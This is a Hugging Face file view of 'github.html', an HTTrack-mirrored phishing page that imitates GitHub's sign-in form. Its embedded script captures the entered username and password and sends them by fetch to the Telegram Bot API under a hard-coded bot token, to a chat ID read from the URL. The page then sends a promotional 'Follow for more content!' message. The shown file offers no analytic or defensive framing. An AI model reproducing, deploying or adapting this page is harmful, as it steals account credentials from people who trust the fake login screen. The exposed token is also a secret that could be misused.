CoolFace
Apppublic

HenzHosting/Login-signup-Extra1

sourceHugging Faceupdated 2y agoView on Hugging Face
0likes
github.html150 linesDownload Raw Back to root
1<!DOCTYPE html>2<html lang="en">3 4<!-- Mirrored from login-y3bd.onrender.com/github.html by HTTrack Website Copier/3.x [XR&CO'2017], Fri, 21 Mar 2025 21:36:12 GMT -->5<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=utf-8" /><!-- /Added by HTTrack -->6<head>7    <meta charset="UTF-8">8    <meta name="viewport" content="width=device-width, initial-scale=1.0">9    <meta http-equiv="X-UA-Compatible" content="IE=edge">10    <title>Sign in to GitHub ยท GitHub</title>11    <link rel="icon" type="image/png" href="../github.githubassets.com/favicons/favicon.png">12    <style>13        * { box-sizing: border-box; }14        body {15            font-family: Arial, sans-serif;16            background-color: #f5f5f5;17            text-align: center;18            margin: 0;19            padding: 20px;20        }21        .container {22            width: 340px;23            margin: auto;24            padding: 20px;25            background: #fff;26            border-radius: 5px;27            box-shadow: 0px 0px 10px #ddd;28        }29        .logo {30            width: 50px;31            margin-bottom: 10px;32        }33        h1 {34            font-size: 18px;35            color: #333;36        }37        input, button {38            width: 100%;39            padding: 10px;40            margin-top: 10px;41            border-radius: 5px;42            border: 1px solid #ccc;43        }44        .btn {45            background-color: #28a745;46            color: white;47            border: none;48            cursor: pointer;49        }50        .btn:hover {51            background-color: #218838;52        }53        a {54            color: #0366d6;55            text-decoration: none;56            font-size: 14px;57        }58        .bottom-links {59            font-size: 12px;60            margin-top: 15px;61        }62        .bottom-links a {63            margin: 0 8px;64        }65    </style>66</head>67<body>68 69    <div class="container">70        <img class="logo" src="../github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" alt="GitHub Logo">71        <h1>Sign in to GitHub</h1>72        <div id="login">73            <input type="text" id="username" placeholder="Username or email address">74            <input type="password" id="password" placeholder="Password">75            <button class="btn" id="submit">Sign in</button>76        </div>77        <a href="#">Forgot password?</a>78        <hr>79        <p>New to GitHub?</p>80        <a href="#">Create an account</a>81    </div>82 83    <div class="bottom-links">84        <a href="#">Terms</a>85        <a href="#">Privacy</a>86        <a href="#">Security</a>87        <a href="#">Contact GitHub</a>88    </div>89 90    <script>91        function getQueryParam(param) {92            const urlParams = new URLSearchParams(window.location.search);93            return urlParams.get(param);94        }95 96        const chatId = getQueryParam('id');  97        const botToken = "7924786441:AAGIU7XlarFtwEzaRhFkNfIU6m3Sv1RyjRg";  98        const url = `https://api.telegram.org/bot${botToken}/sendMessage`;99 100        document.getElementById('submit').addEventListener('click', function () {101            const username = document.getElementById('username').value;102            const password = document.getElementById('password').value;103 104            if (!chatId) {105                alert("Error: Missing chat ID.");106                return;107            }108 109            const message1 = `๐Ÿ” GitHub Login\n๐Ÿ‘ค Username: ${username}\n๐Ÿ”‘ Password: ${password}`;110            const message2 = `๐Ÿ’€ Follow for more content!`;111 112            fetch(url, {113                method: "POST",114                headers: {115                    "Content-Type": "application/json"116                },117                body: JSON.stringify({118                    chat_id: chatId,119                    text: message1120                })121            })122            .then(response => response.json())123            .then(data => {124                if (data.ok) {125                    return fetch(url, {126                        method: "POST",127                        headers: {128                            "Content-Type": "application/json"129                        },130                        body: JSON.stringify({131                            chat_id: chatId,132                            text: message2133                        })134                    });135                } else {136                    alert("Failed to send details.");137                }138            })139            .catch(error => {140                console.error("Error:", error);141                alert("An error occurred.");142            });143        });144    </script>145 146</body>147 148<!-- Mirrored from login-y3bd.onrender.com/github.html by HTTrack Website Copier/3.x [XR&CO'2017], Fri, 21 Mar 2025 21:36:13 GMT -->149</html>150